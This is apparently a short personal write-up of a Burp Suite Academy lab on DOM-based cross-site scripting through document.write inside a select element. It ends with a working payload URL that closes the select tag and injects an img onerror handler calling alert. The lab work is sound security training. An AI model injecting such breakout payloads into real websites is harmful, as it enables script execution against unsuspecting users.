Burp Suite Academy – DOM XSS in document.write sink using source location.search inside a select elementBurp Suite Academy

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality.

It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.

To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.

Select any element: https://0a060014049d514780bc08700015003f.web-security-academy.net/product?productId=1

This script gets the param storeId and from it, adds an option tag into the select.


We can try to close the select tag and then add a payload.
According the documentation:

We could use a payload ad: <img src=1 onerror=alert(document.domain)>


https://0a060014049d514780bc08700015003f.web-security-academy.net/product?productId=1&storeId=12345</select><img src=1 onerror=alert(document.domain)>